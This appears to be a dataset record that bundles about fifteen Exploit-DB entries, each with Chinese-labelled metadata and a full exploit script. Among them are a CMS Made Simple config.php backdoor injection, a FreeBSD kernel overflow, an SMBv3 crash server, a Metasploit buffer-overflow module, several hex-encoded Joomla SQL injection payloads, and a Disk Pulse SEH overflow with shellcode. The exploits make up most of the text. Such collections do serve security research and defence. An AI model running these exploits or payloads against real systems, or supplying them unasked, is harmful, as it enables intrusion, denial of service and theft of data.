QLWD/code_shield huggingface dataset:
标题: Sony Playstation 4 (PS4) < 2.50 - WebKit Code Execution (PoC) EDB-ID: 44200 CVE: 2014-1303 类型: LOCAL 平台: HARDWARE 发布日期: 2016-04-21 漏洞利用脚本: CVE 2014-1303 Proof Of Concept for PS4
==============
This repository contains a poc for the CVE 2014-1303 originally disclosed by Liang Chen. It has been tested to work on system firmware 2.03, but should work for systems on a firmware < 2.50, the ROP test will however only work on 2.03.

Usage
==============
You need to edit the dns.conf to point to the ip address of your machine, and modify your consoles dns settings to point to it as well. Then run  
`python fakedns.py -c dns.conf`  
then  
`python server.py`  
Debug output will come from this process.  

Navigate to the User's Guide page on the PS4 and various information should be printed to the console. The ROP test will print what is stored in the rsp register. Continuing execution after rsp is pivoted still needs to be done.

Acknowledgements
================
Liang Chen  
thexyz  
dreadlyei

Download: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/44200.zip URL: https://www.exploit-db.com/exploits/44200
标题: CMS Made Simple 2.1.6 - Remote Code Execution EDB-ID: 44192 CVE: 2018-7448 类型: WEBAPPS 平台: PHP 发布日期: 2018-02-27 漏洞利用脚本: # Exploit Title: CMS Made Simple 2.1.6 - Remote Code Execution
# Date: 2018-02-26
# Exploit Author: Keerati T.
# Vendor Homepage: http://www.cmsmadesimple.org/
# Software Link: http://s3.amazonaws.com/cmsms/downloads/13570/cmsms-2.
1.6-install.zip
# Version: 2.1.6
# CVE: CVE-2018-7448
# Tested on: Linux

1.Description
Arbitrary PHP code can be injected into configuration file (config.php) after installation has been finished. In order to inject PHP code, fresh install and valid database credentials is required. Application will force an installer (usually "www-data" due to web-based installation) to set a write permission (777) to destination directory and related installation file. An attacker will proceed installation process until reach step 4 and inject malicious PHP code into "timezone" parameter. Once PHP code has been injected to "config.php", an attacker will be able to execute OS command by accessing backdoor "config.php" file along with injected parameter which contain OS command value.

2.Proof of Concept
- Access to "http://target/path/cmsms-2.1.6-install.php" for installing CMS Made Simple
- Proceed to step 4 of installation which is database setup stage, enter a valid database credentials and modifying "timezone" parameter on intercepted proxy as following:

==========
POST /cms/cmsms-2.1.6-install.php/index.php?mdf68c24c=4 HTTP/1.1
Host: 192.168.5.196
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101
Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://192.168.5.196/cms/cmsms-2.1.6-install.php/index.
php?mdf68c24c=4
Cookie: CMSICc861538bbb=i549m59qpme0u9klupbkb68me4
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 126

dbhost=localhost&dbname=cms&dbuser=xvwa&dbpass=xvwa&
timezone=junk';echo%20system($_GET['cmd']);$junk='junk&next=Next+%E2%86%92
==========

- Forward tampered "timezone" parameter packet and proceed to next step until successfully installation.
- Execute OS command via "config.php" by requesting " http://target/path/config.php?cmd=id;uname"

3.Timeline
2017-04-14 Vulnerability report
2017-04-15 Vendor inform that will be fixed on next full release
2017-06-10 Version 2.2 release and vulnerability fixed
2018-02-23 CVE assigned
2018-02-26 Public URL: https://www.exploit-db.com/exploits/44192
标题: Concrete5 CMS < 8.3.0 - Username / Comments Enumeration EDB-ID: 44194 CVE: 2017-18195 类型: WEBAPPS 平台: PHP 发布日期: 2018-02-27 漏洞利用脚本: #!/usr/bin/env python3

# Concrete5 < 8.3 vulnerable to Authorization Bypass Through User-Controlled Key (IDOR)
# CVE-2017-18195
# Chapman (R3naissance) Schleiss

from queue import Queue
from threading import Thread
from bs4 import BeautifulSoup
from tabulate import tabulate
import argparse
import requests
import logging

parser = argparse.ArgumentParser(
    description="This script attempts to enumerate all comments from a vulnerable Concrete5 CMS.",
)
parser.add_argument('-u','--url', action='store', dest='url', required=True,
     help="This is the url to attack. Typically http://example.com/index.php/tools/required/conversations/view_ajax")
parser.add_argument('-s','--start', action='store', type=int, dest='start_id',
                    help='Where to start enumeration')
parser.add_argument('-e','--end', action='store', type=int, dest='end_id',
                    help='Where to end enumeration')
parser.add_argument('-v','--verbose', action='store_true', dest='verbose',
                    help='This boolean flag will trigger all raw information to stdout')
args = parser.parse_args()

if args.verbose:
 logging.basicConfig(level=logging.DEBUG, format='[%(levelname)s] - %(threadName)s - %(message)s')
else:
 logging.basicConfig(level=logging.INFO, format='[%(levelname)s] %(message)s')

if args.start_id is None:
 args.start_id = 1
if args.end_id is None:
 args.end_id = 10

def crawl(q, result):
 while not q.empty():
  work = q.get()
  logging.debug("Requesting cnvID: " + str(work))
  try:
   response = requests.post(args.url, data={'cnvID': work, 'cID': 1}, timeout=300)
   logging.debug("Requested cnvID: %s [%s]", str(work), str(response.status_code))
   if response.status_code < 400 or response.status_code > 499:
    logging.debug("Parsing html and adding comments to results list")
    soup = BeautifulSoup(response.text, 'html.parser')
    username = soup.find_all('span', {'class': 'ccm-conversation-message-username'})
    message = soup.find_all('div', {'class': 'ccm-conversation-message-body'})
    for i in range(len(username)):
     results.append((work, username[i].text.strip(), message[i].text.strip()))
   logging.info("Completed cnvID: " + str(work))
  except:
   logging.error('Error getting cnvID: ' + str(work))
  q.task_done()
 return True

q = Queue(maxsize=0)

enum = range(args.start_id, args.end_id + 1)
num_theads = min(50, len(enum))

results = []
for i in enum:
 q.put(i)

for i in range(num_theads):
 logging.debug('Starting thread ' + str(i))
 worker = Thread(target=crawl, args=(q, results), name="Thread: " + str(i))
 worker.setDaemon(True)
 worker.start()

logging.debug('Waiting for final threads to complete')
q.join()

logging.info('Enumeration complete')

print(tabulate(results, headers=('cnvID', 'username', 'message'), tablefmt='grid')) URL: https://www.exploit-db.com/exploits/44194
标题: FreeBSD Kernel (FreeBSD 10.2 < 10.3 x64) - 'SETFKEY' (PoC) EDB-ID: 44211 CVE: 2016-1886 类型: DOS 平台: FREEBSD_X86-64 发布日期: 2016-05-29 漏洞利用脚本: #include <stdio.h>
#include <stdlib.h>
#include <stddef.h>
#include <string.h>
#include <errno.h>
#include <unistd.h>
#include <sys/ioctl.h>
#include <sys/kbio.h>
#include <sys/types.h>
#include <sys/mman.h>
#include <sys/param.h>
#include <sys/linker.h>

int (*kprintf)(const char *fmt, ...);
char *ostype;

uint64_t originalRip;
uint64_t originalRbp;

void *resolve(char *name) {
 struct kld_sym_lookup ksym;
 
 ksym.version = sizeof(ksym);
 ksym.symname = name;
 
 if(kldsym(0, KLDSYM_LOOKUP, &ksym) < 0) {
  perror("kldsym");
  exit(1);
 }
 
 printf("  [+] Resolved %s to %#lx\n", ksym.symname, ksym.symvalue);
 return (void *)ksym.symvalue;
}

void payload(void) {
 kprintf("  [+] Entered kernel payload\n");
 
 strcpy(ostype, "CTurt  ");
 
 __asm__ volatile("swapgs; sysret");
}

// Copy the stack onto the heap
void heapOverflow(int index, size_t size) {
 fkeyarg_t fkey;
 
 fkey.keynum = index;
 fkey.flen = size;
 memset(&fkey.keydef, 0, 16);
 
 ioctl(0, SETFKEY, &fkey);
}

// Copy the heap onto the stack
void stackOverflow(int index) {
 fkeyarg_t fkey;
 
 fkey.keynum = index;
 fkey.flen = 16;
 memset(&fkey.keydef, 0, 16);
 
 ioctl(0, GETFKEY, &fkey);
}

int main(void) {
 int result, i;
 fkeyarg_t fkey;
 
 uint32_t ripLower4 = 0x808312cd; // jmp rbp
 uint64_t rbp = (uint64_t)payload;
 
 
 kprintf = resolve("printf");
 ostype = resolve("ostype");
 
 
 printf("  [+] Set full length for key 10\n");
 fkey.keynum = 10;
 fkey.flen = 16;
 ioctl(0, SETFKEY, &fkey);
 
 
 printf("  [+] Set bad length and perform heap overflow\n");
 heapOverflow(0, 128 - offsetof(fkeyarg_t, keydef) + 8 + 0x30 + sizeof(ripLower4));
 
 
 printf("  [+] Prepare stack overflow memory\n");
 fkey.keynum = 10;
 fkey.flen = 16;
 ioctl(0, GETFKEY, &fkey);
 originalRbp = *(uint64_t *)((char *)&fkey.keydef + 4);
 originalRip = 0xffffffff00000000 | *(uint32_t *)((char *)&fkey.keydef + 12);
 
 printf("  [+] Original rip: %#lx\n", originalRip);
 printf("  [+] Original rbp: %#lx\n", originalRbp);
 
 *(uint64_t *)((char *)&fkey.keydef + 4) = rbp;
 *(uint32_t *)((char *)&fkey.keydef + 12) = ripLower4;
 ioctl(0, SETFKEY, &fkey);
 
 
 printf("  [+] Trigger stack overflow\n");
 fflush(stdout);
 
 stackOverflow(0);
 
 
 return 0;
} URL: https://www.exploit-db.com/exploits/44211
标题: Microsoft Windows 8.1/2012 R2 - SMBv3 Null Pointer Dereference Denial of Service EDB-ID: 44189 CVE: 2018-0833 类型: DOS 平台: WINDOWS 发布日期: 2018-02-27 漏洞利用脚本: # Exploit Title: Microsoft Windows SMB Client Null Pointer Dereference Denial of Service
# Date: 26/02/2018
# Exploit Author: Nabeel Ahmed
# Version: SMBv3
# Tested on: Windows 8.1 (x86), Windows Server 2012 R2 (x64)
# CVE : CVE-2018-0833

import SocketServer
from binascii import unhexlify
payload = '000000ecfd534d4241414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141'
class byebye(SocketServer.BaseRequestHandler):
        def handle(self):
                try:
                        print "From:", self.client_address
                        print "[*]Sending Payload..."
                        self.request.send(unhexlify(payload))
                except Exception:
                        print "BSoD Triggered on", self.client_address
                        pass
SocketServer.TCPServer.allow_reuse_address = 1
launch = SocketServer.TCPServer(('', 445),byebye)
launch.serve_forever() URL: https://www.exploit-db.com/exploits/44189
标题: Armadito Antivirus 0.12.7.2 - Detection Bypass EDB-ID: 44169 CVE: 2018-7289 类型: LOCAL 平台: WINDOWS 发布日期: 2018-02-22 漏洞利用脚本: /*
Title: Armadito Antivirus - Malware Detection Bypass 
Date: 21/02/2018
Author: Souhail Hammou
Author's website: http://rce4fun.blogspot.com
Vendor Homepage: http://www.teclib-edition.com/en/
Version: 0.12.7.2
CVE: CVE-2018-7289


Details:
--------
An issue was discovered in armadito-windows-driver/src/communication.c affecting Armadito 0.12.7.2 and previous versions.
Malware with filenames containing pure UTF-16 characters can bypass detection. 
The user-mode service will fail to open the file for scanning after the conversion is done from Unicode to ANSI. 
This happens because characters that cannot be converted from Unicode are replaced with the '?' character.

The code responsible for this issue is located in armadito-windows-driver/src/communication.c

========================================================================================================
   // Convert unicode string to ansi string for ring 3 process.   
   ntStatus = RtlUnicodeStringToAnsiString(&AnsiString, (PCUNICODE_STRING)FilePath, TRUE); 
   if(!NT_SUCCESS(ntStatus)){ 
   DbgPrint("[-] Error :: ArmaditoGuard!SendScanOrder :: RtlUnicodeStringToAnsiString() routine failed !! \n"); 
   __leave; 
   } 
========================================================================================================

The two examples below demonstrate the bug. 
In the first case, the filename is in Arabic and in the second, the filename's first letter is the greek M (U+039C).


Original filename:
 مرحبا.exe : 0645 0631 062d 0628 0627 002e 0065 0078 0065 

Converted to ANSI by Armadito:
 ?????.exe : 3f 3f 3f 3f 3f 2e 65 78 65 

=============================

Original filename:
 Μalware.exe : 039c 0061 006c 0077 0061 0072 0065 002e 0065 0078 0065 

Converted to ANSI by Armadito:
 ?alware.exe : 3f 61 6c 77 61 72 65 2e 65 78 65 


See: https://github.com/armadito/armadito-windows-driver/issues/5
*/ URL: https://www.exploit-db.com/exploits/44169
标题: CloudMe Sync 1.10.9 - Stack-Based Buffer Overflow (Metasploit) EDB-ID: 44175 CVE: 2018-6892 类型: REMOTE 平台: WINDOWS 发布日期: 2018-02-26 漏洞利用脚本: ##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = GreatRanking

  include Msf::Exploit::Remote::Tcp
  include Msf::Exploit::Remote::Seh

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'CloudMe Sync v1.10.9',
      'Description'    => %q{
        This module exploits a stack-based buffer overflow vulnerability
        in CloudMe Sync v1.10.9 client application. This module has been
        tested successfully on Windows 7 SP1 x86.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'hyp3rlinx',      # Original exploit author
          'Daniel Teixeira' # MSF module author
        ],
      'References'     =>
        [
          [ 'CVE', '2018-6892'],
          [ 'EDB', '44027' ],
        ],
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'thread'
        },
      'Platform'       => 'win',
      'Payload'        =>
        {
          'BadChars'   => "\x00",
        },
      'Targets'        =>
        [
          [ 'CloudMe Sync v1.10.9',
            {
              'Offset' => 2232,
              'Ret'    => 0x61e7b7f6
            }
          ]
        ],
      'Privileged'     => true,
      'DisclosureDate' => 'Jan 17 2018',
      'DefaultTarget'  => 0))

    register_options([Opt::RPORT(8888)])

  end

  def exploit
    connect

    buffer = make_nops(target['Offset'])
    buffer << generate_seh_record(target.ret)
    buffer << payload.encoded

    sock.put(buffer)
    handler
  end
end URL: https://www.exploit-db.com/exploits/44175
标题: Joomla! Component PrayerCenter 3.0.2 - 'sessionid' SQL Injection EDB-ID: 44160 CVE: 2018-7314 类型: WEBAPPS 平台: PHP 发布日期: 2018-02-22 漏洞利用脚本: # # # #
# Exploit Title: Joomla! Component PrayerCenter 3.0.2 - SQL Injection
# Dork: N/A
# Date: 22.02.2018
# Vendor Homepage: http://www.mlwebtechnologies.com/
# Software Link: https://extensions.joomla.org/extensions/extension/living/religion/prayercenter/
# Software Download: http://mlwebtechnologies.github.io/PrayerCenter/
# Software Download: https://github.com/MLWebTechnologies/PrayerCenter/releases/download/3.0.2/PrayerCenter302Unzip1st.zip
# Version: 3.0.2
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: CVE-2018-7314
# # # #
# Exploit Author: Ihsan Sencan
# # # #
# 
# POC: 
# 
# 1)
# http://localhost/[PATH]/index.php?option=com_prayercenter&task=confirm&id=1&sessionid=[SQL]
# 
# %31%27%20%41%4e%44%20%45%58%54%52%41%43%54%56%41%4c%55%45%28%32%32%2c%43%4f%4e%43%41%54%28%30%78%35%63%2c%28%53%45%4c%45%43%54%20%47%52%4f%55%50%5f%43%4f%4e%43%41%54%28%74%61%62%6c%65%5f%6e%61%6d%65%20%53%45%50%41%52%41%54%4f%52%20%30%78%33%63%36%32%37%32%33%65%29%20%46%52%4f%4d%20%49%4e%46%4f%52%4d%41%54%49%4f%4e%5f%53%43%48%45%4d%41%2e%54%41%42%4c%45%53%20%57%48%45%52%45%20%54%41%42%4c%45%5f%53%43%48%45%4d%41%3d%44%41%54%41%42%41%53%45%28%29%29%2c%28%53%45%4c%45%43%54%20%28%45%4c%54%28%31%3d%31%2c%31%29%29%29%2c%64%61%74%61%62%61%73%65%28%29%29%29%2d%2d%20%56%65%72%41%79%61%72%69
# 
# # # # URL: https://www.exploit-db.com/exploits/44160
标题: Joomla! Component CheckList 1.1.1 - SQL Injection EDB-ID: 44163 CVE: 2018-7318 类型: WEBAPPS 平台: PHP 发布日期: 2018-02-22 漏洞利用脚本: # # # #
# Exploit Title: Joomla! Component CheckList 1.1.1 - SQL Injection
# Dork: N/A
# Date: 22.02.2018
# Vendor Homepage: https://www.joomplace.com/
# Software Link: https://extensions.joomla.org/extensions/extension/living/personal-life/checklist/
# Version: 1.1.1
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: CVE-2018-7318
# # # #
# Exploit Author: Ihsan Sencan
# # # #
# 
# POC: 
# 
# 1)
# http://localhost/[PATH]/index.php?option=com_checklist&view=frontend
# &title_search=[SQL]
# &tag_search=[SQL]
# &name_search=[SQL]
# &description_search=[SQL]
# &filter_order=[SQL]
# 
# %27%20%41%4e%44%20%45%58%54%52%41%43%54%56%41%4c%55%45%28%32%32%2c%43%4f%4e%43%41%54%28%30%78%35%63%2c%76%65%72%73%69%6f%6e%28%29%2c%28%53%45%4c%45%43%54%20%28%45%4c%54%28%31%3d%31%2c%31%29%29%29%2c%64%61%74%61%62%61%73%65%28%29%29%29%2d%2d%20%56%65%72%41%79%61%72%69
# 
# # # # URL: https://www.exploit-db.com/exploits/44163
标题: Joomla! Component Proclaim 9.1.1 - Backup File Download EDB-ID: 44159 CVE: 2018-7317 类型: WEBAPPS 平台: PHP 发布日期: 2018-02-22 漏洞利用脚本: # # # #
# Exploit Title: Joomla! Component Proclaim 9.1.1 - Backup Download
# Dork: N/A
# Date: 22.02.2018
# Vendor Homepage: https://www.christianwebministries.org/
# Software Link: https://extensions.joomla.org/extensions/extension/living/religion/proclaim/
# Software Download: https://github.com/Joomla-Bible-Study/Joomla-Bible-Study/releases/download/v9.1.1/pkg_proclaim.zip
# Version: 9.1.1
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: CVE-2018-7317
# # # #
# Exploit Author: Ihsan Sencan
# # # #
# 
# POC: 
# 
# 1)
# http://localhost/[PATH]/media/com_biblestudy/backup/
# 
# http://localhost/[PATH]/media/com_biblestudy/backup/Joomla375_jbs-db-backup_2018_February_22_1518955684.sql
# 
# # # # URL: https://www.exploit-db.com/exploits/44159
标题: Joomla! Component Proclaim 9.1.1 - Arbitrary File Upload EDB-ID: 44164 CVE: 2018-7316 类型: WEBAPPS 平台: PHP 发布日期: 2018-02-22 漏洞利用脚本: # # # #
# Exploit Title: Joomla! Component Proclaim 9.1.1 - Arbitrary File Upload
# Dork: N/A
# Date: 22.02.2018
# Vendor Homepage: https://www.christianwebministries.org/
# Software Link: https://extensions.joomla.org/extensions/extension/living/religion/proclaim/
# Software Download: https://github.com/Joomla-Bible-Study/Joomla-Bible-Study/releases/download/v9.1.1/pkg_proclaim.zip
# Version: 9.1.1
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: CVE-2018-7316
# # # #
# Exploit Author: Ihsan Sencan
# # # #
# 
# POC: 
# 
# 1)
# http://localhost/[PATH]/index.php?option=com_biblestudy&view=mediafileform&layout=edit&id=1
# 
# http://localhost/[PATH]/images/biblestudy/media/[FILE]
# 
# # # # URL: https://www.exploit-db.com/exploits/44164
标题: Joomla! Component CW Tags 2.0.6 - SQL Injection EDB-ID: 44158 CVE: 2018-7313 类型: WEBAPPS 平台: PHP 发布日期: 2018-02-22 漏洞利用脚本: # # # #
# Exploit Title: Joomla! Component CW Tags 2.0.6 - SQL Injection
# Dork: N/A
# Date: 22.02.2018
# Vendor Homepage: http://www.cwjoomla.com/
# Software Link: https://extensions.joomla.org/extensions/extension/search-a-indexing/tags-a-clouds/cw-tags/
# Version: 2.0.6
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: CVE-2018-7313
# # # #
# Exploit Author: Ihsan Sencan
# # # #
# 
# POC: 
# 
# 1)
# http://localhost/[PATH]/index.php?option=com_cwtags&searchtext[]=[SQL]
# 
# %2d%45%66%65%27%29%20%20%2f%2a%21%30%33%33%33%33%55%4e%49%4f%4e%2a%2f%20%2f%2a%21%30%33%33%33%33%53%45%4c%45%43%54%2a%2f%20%40%40%48%4f%53%54%4e%41%4d%45%2d%2d%20%2d
# 
# %31%27%61%6e%64%20%28%73%65%6c%65%63%74%20%31%20%66%72%6f%6d%20%28%73%65%6c%65%63%74%20%63%6f%75%6e%74%28%2a%29%2c%63%6f%6e%63%61%74%28%28%73%65%6c%65%63%74%28%73%65%6c%65%63%74%20%63%6f%6e%63%61%74%28%63%61%73%74%28%64%61%74%61%62%61%73%65%28%29%20%61%73%20%63%68%61%72%29%2c%30%78%37%65%29%29%20%66%72%6f%6d%20%69%6e%66%6f%72%6d%61%74%69%6f%6e%5f%73%63%68%65%6d%61%2e%74%61%62%6c%65%73%20%77%68%65%72%65%20%74%61%62%6c%65%5f%73%63%68%65%6d%61%3d%64%61%74%61%62%61%73%65%28%29%20%6c%69%6d%69%74%20%30%2c%31%29%2c%66%6c%6f%6f%72%28%72%61%6e%64%28%30%29%2a%32%29%29%78%20%66%72%6f%6d%20%69%6e%66%6f%72%6d%61%74%69%6f%6e%5f%73%63%68%65%6d%61%2e%74%61%62%6c%65%73%20%67%72%6f%75%70%20%62%79%20%78%29%61%29%20%41%4e%44%20%27%27%3d%27
# 
# # # # URL: https://www.exploit-db.com/exploits/44158
标题: Joomla! Component OS Property Real Estate 3.12.7 - SQL Injection EDB-ID: 44165 CVE: 2018-7319 类型: WEBAPPS 平台: PHP 发布日期: 2018-02-22 漏洞利用脚本: # # # #
# Exploit Title: Joomla! Component OS Property Real Estate 3.12.7 - SQL Injection
# Dork: N/A
# Date: 22.02.2018
# Vendor Homepage: https://www.joomdonation.com/
# Software Link: https://extensions.joomla.org/extensions/extension/vertical-markets/real-estate/os-property/
# Version: 3.12.7
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: CVE-2018-7319
# # # #
# Exploit Author: Ihsan Sencan
# # # #
# 
# POC: 
# 
# 1)
# http://localhost/[PATH]/os-property-layouts/search-tools/advanced-search?&option=com_osproperty&task=property_advsearch
# &cooling_system1=[SQL]
# &heating_system1=[SQL]
# &laundry=[SQL]
# 
# # # # URL: https://www.exploit-db.com/exploits/44165
标题: Joomla! Component Ek Rishta 2.9 - SQL Injection EDB-ID: 44161 CVE: 2018-7315 类型: WEBAPPS 平台: PHP 发布日期: 2018-02-22 漏洞利用脚本: # # # #
# Exploit Title: Joomla! Component Ek Rishta 2.9 - SQL Injection
# Dork: N/A
# Date: 22.02.2018
# Vendor Homepage: https://www.joomlaextensions.co.in/
# Software Link: https://extensions.joomla.org/extensions/extension/living/dating-a-relationships/ek-rishta/
# Version: 2.9
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: CVE-2018-7315
# # # #
# Exploit Author: Ihsan Sencan
# # # #
# 
# POC: 
# 
# 1)
# http://localhost/[PATH]/index.php/component/ekrishta/alluser?options=com_ekrishta&view=alluser
# &gender=[SQL]
# &age1=[SQL]
# &age2=[SQL]
# &religion=[SQL]
# &mothertounge=[SQL]
# &caste=[SQL]
# &country=[SQL]
# 
# %27%20%41%4e%44%20%45%58%54%52%41%43%54%56%41%4c%55%45%28%32%32%2c%43%4f%4e%43%41%54%28%30%78%35%63%2c%76%65%72%73%69%6f%6e%28%29%2c%28%53%45%4c%45%43%54%20%28%45%4c%54%28%31%3d%31%2c%31%29%29%29%2c%64%61%74%61%62%61%73%65%28%29%29%29%2d%2d%20%56%65%72%41%79%61%72%69
# 
# # # # URL: https://www.exploit-db.com/exploits/44161
标题: Disk Pulse Enterprise 10.4.18 - 'Import Command' Buffer Overflow (SEH) EDB-ID: 44157 CVE: 2017-7310 类型: REMOTE 平台: WINDOWS 发布日期: 2018-02-21 漏洞利用脚本: #!/usr/bin/env python

# Exploit Title: Disk Pulse Enterprise v10.4.18 - 'Import Command' Buffer Overflow (SEH)
# Date: 2018-01-22
# Exploit Author: Daniel Teixeira
# Author Homepage: www.danielteixeira.com
# Vendor Homepage: http://www.diskpulse.com
# Software Link: http://www.diskpulse.com/setups/diskpulseent_setup_v10.4.18.exe
# Version: 10.4.16
# Tested on: Windows 7 SP1 x86
# CVE: CVE-2017-7310 

import os,struct

#Buffer overflow
junk = "A"*1560

#JMP ESP (QtGui4.dll)
jmpesp= struct.pack('<L',0x651bb77a)

#NOPS
nops = "\x90"

#LEA   EAX, [ESP+76]
esp = "\x8D\x44\x24\x4C"
#JMP ESP
jmp = "\xFF\xE0"

#JMP Short = EB 05
nSEH = "\x90\x90\xEB\x05" #Jump short 5
#POP POP RET (QtGui4.dll)
SEH = struct.pack('<L',0x67033072)

#CALC.EXE
shellcode =  "\x31\xdb\x64\x8b\x7b\x30\x8b\x7f\x0c\x8b\x7f\x1c\x8b\x47\x08\x8b\x77\x20\x8b\x3f\x80\x7e\x0c\x33\x75\xf2\x89\xc7\x03\x78\x3c\x8b\x57\x78\x01\xc2\x8b\x7a\x20\x01\xc7\x89\xdd\x8b\x34\xaf\x01\xc6\x45\x81\x3e\x43\x72\x65\x61\x75\xf2\x81\x7e\x08\x6f\x63\x65\x73\x75\xe9\x8b\x7a\x24\x01\xc7\x66\x8b\x2c\x6f\x8b\x7a\x1c\x01\xc7\x8b\x7c\xaf\xfc\x01\xc7\x89\xd9\xb1\xff\x53\xe2\xfd\x68\x63\x61\x6c\x63\x89\xe2\x52\x52\x53\x53\x53\x53\x53\x53\x52\x53\xff\xd7"

#PAYLOAD
payload = junk + jmpesp + nops * 16 + esp + jmp + nops * 68 + nSEH + SEH + nops * 10 + shellcode + nops * 5000

#FILE
file='<?xml version="1.0" encoding="UTF-8"?>\n<classify\nname=\'' + payload + '\n</classify>'

f = open('Exploit.xml', 'w')
f.write(file)
f.close() URL: https://www.exploit-db.com/exploits/44157